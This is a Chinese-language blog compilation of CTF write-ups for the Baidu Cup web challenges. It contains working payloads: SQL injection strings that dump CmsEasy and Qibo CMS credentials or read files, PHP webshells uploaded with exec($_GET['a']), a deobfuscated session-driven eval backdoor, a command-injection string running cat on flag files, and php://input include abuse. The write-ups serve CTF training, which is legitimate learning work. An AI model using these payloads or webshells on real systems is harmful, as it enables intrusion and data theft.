百度杯CTF Write up集锦 WEB篇
2016-09-21 00:12
567 查看
九月场
1.code
一开始的URL为http://ace3c302efed4a9094cbac1dff0250e8add1b4b45f8249d4.game.ichunqiu.com/index.php?jpg=hei.jpg
尝试着令
jpg=index.php
得出了base64编码的文本
丢到解码器里解出文本index.php
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo '<title>file:'.$file.'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); //在这里会匹配除了a-zA-Z0-9.之外的所有字符 所以_会被匹配到 $file = str_replace("config","_", $file); //在这里想到用config代替_ $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?> 这里有个知识点利用phpstorm编写的程序 在/.idea/workspace.xml的内容里包含了当前项目下所有的php文件。
那么访问
http://ace3c302efed4a9094cbac1dff0250e8add1b4b45f8249d4.game.ichunqiu.com/.idea/workspace.xml
得到
<list> <option value="$PROJECT_DIR$/x.php"/> <option value="$PROJECT_DIR$/config.php"/> <option value="$PROJECT_DIR$/fl3g_ichuqiu.php"/> </list> 看见了flag所在的文件
令上面的jpg=fl3g_ichuqiu.php
发现并没有内容返回看上面的index.php源码分析。
令jpg=fl3gconfigichuqiu.php
得到关键的代码
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ error_reporting(E_ALL || ~E_NOTICE); include('config.php'); function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function encrypt($txt,$key){ for($i=0;$i<strlen($txt);$i++){ $tmp .= chr(ord($txt[$i])+10); } $txt = $tmp; $rnd=random(4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $ttmp .= $txt[$i] ^ $key[++$s]; } return base64_encode($rnd.$ttmp); } function decrypt($txt,$key){ $txt=base64_decode($txt); $rnd = substr($txt,0,4); $txt = substr($txt,4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $tmp .= $txt[$i]^$key[++$s]; } for($i=0;$i<strlen($tmp);$i++){ $tmp1 .= chr(ord($tmp[$i])-10); } return $tmp1; } $username = decrypt($_COOKIE['user'],$key); if ($username == 'system'){ echo $flag; }else{ setcookie('user',encrypt('guest',$key)); echo "╮(╯▽╰)╭"; } ?>
这里有个关于cookie的加密解密函数,函数一步一步来解析的话很简单
在最后主要有一点
$username = decrypt($_COOKIE['user'],$key); if ($username == 'system'){ echo $flag; }else{ setcookie('user',encrypt('guest',$key)); echo "╮(╯▽╰)╭"; } 这里cookie的值必须为system但系统默认为guest所以我们的任务就是将guest变为system 主要是把key解出来 下面有我的php代码
<?php function decrypt($txt){ $txt1="guest"; $tmp2=""; for($i=0;$i<strlen($txt1);$i++){ $tmp2 .= chr(ord($txt1[$i])+10); } $txt1=$tmp2; $txt2="system"; $tmp2=""; for($i=0;$i<strlen($txt2);$i++){ $tmp2 .= chr(ord($txt2[$i])+10); } $txt2=$tmp2; $txt=base64_decode($txt); $rnd = substr($txt,0,4); $ttmp = substr($txt,4); $s=0; $tmp=""; $content=""; for($i=0;$i<strlen($txt1);$i++){ $tmp .= $txt1[$i]^$ttmp[$s++]; } $a=$tmp; $temp='0123456789abcdef'; $f=fopen('1.txt','w'); for($i=0;$i<strlen($temp);$i++) { $tmp.=$temp[$i]; for($j=0;$j<strlen($txt2);$j++){ $content .= $txt2[$j]^$tmp[$j]; } fwrite($f,base64_encode($rnd.$content)."\r\n"); $content=''; } } decrypt('vWmRGbm4yQjgILQADAA='); ?> 代码很简单自己想想就出来了,不过用了很长时间
这个出来之后就简单了。
访问
http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/fl3g_ichuqiu.php
得到cookie
利用burpsuit intruder进行爆破
将抓到的user值给上面的代码执行,然后结果作为字典。
跑出结果
flag{eb0c9b89-9cf9-4c3e-a92f-76eac8b4026f}
不容易啊
2.YeserCMS
tips:flag在网站根目录下的flag.php中打开网站的文档下载模块,发现了
cmseasy
上网查找cmseasy漏洞
这是漏洞所在的目录 发送url: http://localhost/Cmseasy/celive/live/header.php postdata: xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520cmseasy_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery> 了解到这个可以爆密码,上面的数据表必须改为yesercms_user,显示段也改为32,64然后的得到admin的密码为ff512d4240 18b79 cbbdeafada40467ccbe61(Yeser231)
利用admin|Yeser231登入后台
在模板->当前模板->当前模板编辑
找到了文件读取的方式
flag{fcff7979-bde3-483f-be7b-361ff4cf0de0
3.Upload
这题相比较来说就比较简单,解决的方法也多种多样。先随便上传一个文件试试
发现上传成功
看源代码
发现上传的位置为www/u/目录下
我们可以利用文件上传漏洞读取所需要的文件信息
首先将下面代码传上去
<?php ?>
发现
<script language='Php'>//这里用大写绕过 下面也是 </script>
方法一
利用file_get_contents直接获取文件内容
<script language='Php'>//这里用大写绕过 下面也是 echo file_get_contents(strtolower('../flag.Php')); </script>
方法二
利用执行Linux shell获取文件内容
<script language='Php'>//这里用大写绕过 下面也是 echo exec('pwd');//查看当前文件路径 </script>
然后
<script language='Php'>//这里用大写绕过 下面也是 echo exec(strtolower('cat /var/www/html/u/1.Php'));//查看当前文件路径 </script>
方法三
利用get or post 传参绕过过滤
<script language='Php'> echo exec(($_GET['a'])); </script>
or
<script language='Php'>//这里用大写绕过 下面也是 echo file_get_contents($_GET['a']); </script>
最终都能得到flag
<?php echo 'here_is_flag'; 'flag{9825708e-6571-4e20-9d91-e56c687e55dd}';
4.SQL
确定显示位 http://8abc246c7cd04346827292816cfeb85af02273fdef5340f8.ctf.game/index.php?id=-1 uni<>on sele<>ct 1,2,3
爆表名 http://8abc246c7cd04346827292816cfeb85af02273fdef5340f8.ctf.game/index.php?id=-1 uni<>on sele<>ct 1,(sel<>ect g<>roup_c<>oncat(t<>able_n<>ame) fro<>m i<>nformation_sch<>ema.tab<>les w<>here ta<>ble_sch<>ema=database()),3
爆字段 http://8abc246c7cd04346827292816cfeb85af02273fdef5340f8.ctf.game/index.php?id=-1 uni<>on sele<>ct 1,(sel<>ect gr<>oup_concat(colu<>mn_na<>me) from inform<>ation_schema.co<>lumns wh<>ere table_name='info'),3
爆字段内容 http://8abc246c7cd04346827292816cfeb85af02273fdef5340f8.ctf.game/index.php?id=-1 uni<>on sele<>ct 1,(sel<>ect gro<>up_co<>ncat(flAg_T5ZNdrm) f<>rom info),3
最后得到flag
5.再见CMS
第一步了解CMS版本,通过后面的背景可知是齐博CMS上网查找该漏洞,是以前报过的漏洞
漏洞网址
按照齐步骤一步一步来
1.注册一个新账户
这一步随便建立用户即可2.修改信息触发漏洞
http://b993b2d91aac48eebc90c6689beb1adb364f18a67d9a4351.ctf.game/member/userinfo.php?job=edit&step=2
post数据为
old_password=111111&truename=xxxx%0000&Limitword[000]=&email=1123@qq.com&provinceid=,address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) %23
十月场
1.login
2.getflag
3.backdoor
题目提示文件泄露,首先扫一下目录发现有.git泄露
利用泄露工具 JGithack,还原得到本地git文件
利用gitbash查看以前版本
git log
git diff 对比区别
发现文件b4chdo0r.php,发现是not found 查找备份文件.b4chdo0r.php.swo
还原出的文件是混淆过得,最后解析的结果
<?php /** * Signature For Report */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/* */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/* */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/* */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/* */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/* */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/* */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/* */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/* */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/* */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/* */$y=str_replace('b','','crbebbabte_funcbbtion');/* */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/* */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/* */$v=$y('',$L);$v();/* */ ?>
具体分析比较简单这里就不写了,给个链接
经过整合,出现源代码,但一直不知道是怎么出来的
<?php $kh="4f7f"; $kf="28d7"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } function y($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $t{$i}=$o{$j}^$k{$j}; } } return $o; } //$rr=@$_SERVER["HTTP_REFERER"]; $rr = 'http://114.114.114.114/?q0=hahaha&q1=675&q2=TPocyB4WLfrhNnivHmqzgzJmH0I2hw&q3=a3e'; //$ra=@$_SERVER["HTTP_ACCEPT_LANGUAGE"]; $ra = 'zh-CN;q=0.8,zh;q=0.1,en-US;q=0.2,en;q=0.3'; if($rr&&$ra){ $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); #q获取get值 preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);#m是language值 if($q&&$m){#如果两个都有值 进入 @session_start(); $s=&$_SESSION; $i=$m[1][0].$m[1][1]; # i = zz # echo $i; $h=strtolower(substr(md5($i.$kh),0,3)); $f=strtolower(substr(md5($i.$kf),0,3)); echo $h.' '.$f; $p=""; for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]]; #将URL值连接起来 # echo ' '.$p; if(strpos($p,$h)===0){ #echo "yes"; $s[$i]=""; $p=substr($p,3); echo ' '.$p; } if(array_key_exists($i,$s)){ $s[$i].=$p;#$s['zz'] = $p $e=strpos($s[$i],$f); if($e){ #echo "yes"; $k=$kh.$kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); @session_destroy(); } } } }
写出解密函数
<?php $kh="4f7f"; $kf="28d7"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $a = "system('ls');";//这里只能输入system不知道为什么 谁知道告诉我 $p = @base64_encode(@x(@gzcompress($a),$kh.$kf)); #输入 echo $p; ?>
构造数据包
回显数据解析 <?php $kh="4f7f"; $kf="28d7"; $k = $kh.$kf; function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t. $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $o = 'TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT'; #$d=base64_encode(x(gzcompress($o),$k)); $a = gzuncompress(x(base64_decode($o),$k)); echo $a; ?>
最后system(‘cat this_i5_flag.php’);
12月场
notebook
这题非常不错考的基础知识点,和大家分享一下首先看见的就是文件包含,利用扫描工具扫一下
看见了phpinfo.php & robots.txt,回到主页面上
典型的文件包含.
向登陆这种题目 不是注入就是session漏洞
没有扫描到注入点,先考虑的就是session漏洞
看一下phpinfo都提供什么信息
看见了session的路径信息,尝试去包含发现怎么都没有回显(这里实现注册
username = <?php phpinfo(); ?>)
接下来在phpinfo里发现有基础路径
所以我们只能利用相对路径尝试获取session文件
这里怀疑他在生成session的时候重设了session存放路径,果不其然
没有回显怀疑是过滤了关键字,利用base64转一下
重新上传恶意脚本
<?php $_GET['a'](base64_encode($_GET['b'])); ?>
可以成功执行,但我不知道为什么会读取flag.php
二月场
Misc WEB1
题目提示flag就在某六位变量中。include "flag.php"; $a = @$_REQUEST['hello']; if(!preg_match('/^\w*$/',$a )){ die('ERROR'); } eval("var_dump($$a);"); show_source(__FILE__); ?>
直接利用globals读取就好
array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flag在一个长度为6的变量里面" ["d3f0f8"]=> string(42) "flag{72be33ab-e558-4368-a978-126312085e91}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* } <?php
include "flag.php"; $a = @$_REQUEST['hello']; if(!preg_match('/^\w*$/',$a )){ die('ERROR'); } eval("var_dump($$a);"); show_source(__FILE__); ?>
Misc WEB2
flag不在变量里就在文件里源代码
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
发现可以闭合var_dump()执行指令,发现其他system、exec都被过滤了
$a=1);echo` cat flag `//
int(1) <?php $flag = 'Too Young Too Simple'; #flag{266fb0dc-0498-44f5-9239-1c79415a3fdb}; <code><span style="color: #000000">
Misc WEB3
简单的代码审计<?php error_reporting(0); session_start(); require('./flag.php'); if(!isset($_SESSION['nums'])){ $_SESSION['nums'] = 0; $_SESSION['time'] = time(); $_SESSION['whoami'] = 'ea'; } if($_SESSION['time']+120<time()){ session_destroy(); } $value = $_REQUEST['value']; $str_rand = range('a', 'z'); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION['nums']++; $_SESSION['whoami'] = $str_rands; echo $str_rands; } if($_SESSION['nums']>=10){ echo $flag; } show_source(__FILE__); ?>
只需设置value的值即可,详细的不在叙述
include
这是道长见识的题目,不得不说好。题目提示: 没错!就是文件包含漏洞。
代码很简单考的也都是简单的知识点。
根据代码必须设置path的值
查看phpinfo()
得到
allow_url_fopen off 能否打开URL文件 allow_url_include on 能否包含URL文件(file_get_contents 不受影响)
再来谈谈PHP伪协议
php://input
输入数据流php://input
代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的。
那么在 include('php://input') 情况下,PHP将其视为URL资源 只有在allow_url_include = on 的情况下才能使用
本题就是利用这一点实现webshell的执行
zone
首先看看目录情况发现有flag.PHP那么就必须读取改文件内容
首先测试fzz(模糊测试)找到过滤的字符
扎到了
~sites-enabled/default再次读取文件
我们注意到了一点
location /online-movies { alias /movie/; autoindex on; }
我们访问/online-movies可以看到目录列表,并借助这个目录列表查看flag,直接下载flag.php文件即可。唯一的脑洞是/movie文件 的位置
读取flag
百度杯线上赛总决赛
upload
查看源码post ichunqiu
在包头中发现flag
flag 为两次base64编码 解出来后是一个随机数
思路明确了
1.解决访问时间问题 利用相同sessionid 实现快速访问
2.验证码问题 使用上次生成的验证码进行验证
猜测后台代码
<?php session_start(); if(!isset($_SESSION['sss'])) { echo 2; $_SESSION["sss"]=time(); } else { echo '|'.$_SESSION['num'].'|'; if($_POST['yz'] == $_SESSION['num'] && time() - $_SESSION["sss"] < 1) echo "yes"; $_SESSION["sss"]=time(); } $_SESSION['num'] = rand(1000,9999); echo base64_encode(base64_encode($_SESSION['num'])); ?>
利用python脚本
import requests import base64 header={"Cookie":"PHPSESSID=jnnsb16estv6ckn66f2c4pd964"} url = 'http://822d1236cc1e4cb29065fe435c5885688ffc7d303f0042df.ctf.game/' r = requests.session() result=r.get(url) print result.headers string = base64.decodestring(result.headers['flag'])[-8:] string = base64.decodestring(string) data={ 'ichunqiu':string } print string result=r.post(url,data=data) content=result.content print content
直接访问路径
让找东西 wp写的是svn 这里还不知道怎么找 ,还有就是wc.db也是固定文件。回来再补这些知识。
直接试了username md5发现并没有对passwd进行检验
MD5碰撞
import random import string def md5(str): import hashlib m = hashlib.md5() m.update(str) return m.hexdigest() while 1: string = '' s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4)) if md5(s)[0:6] == 'e63f44': print s break #substr(md5($str), 0, 6) ===
最后得到上传路径7815696ecbf1c96e6894b779456d330e.php
相关文章推荐
- Bugku ctf writeup--web篇--报错注入
- Bugku ctf writeup--web篇-文件包含2
- "百度杯"CTF 9月2日 WriteUp.md
- [置顶] BugkuCTF——web篇writeup(持续更新)
- 某新生院赛CTF 移动题writeup
- i春秋ctf训练write up(一)
- bugkuctf练习平台reverse部分writeup
- writeup hitcon-ctf-2014/stkof
- 0ctf 2017 babyheap writeup
- Writeup of BlueDon CTF's MISC-1:杂项全家桶
- CTF-练习平台 writeup web
- 【HCTF】2015hctf单刷_writeup
- 初级CTF: ipspoofing writeup
- CTF writeup:实验吧,天下武功唯快不破
- Writeup of NJUPT CTF platform's some easy Reverse
- bugkuCTF Writeup (Web)31-35
- Nuit du Hack CTF Quals 2018 writeup (web)
- 4000 XDSEC 西电CTF练习题WriteUp
- NJCTF WEB Writeup
- NJCTF writeup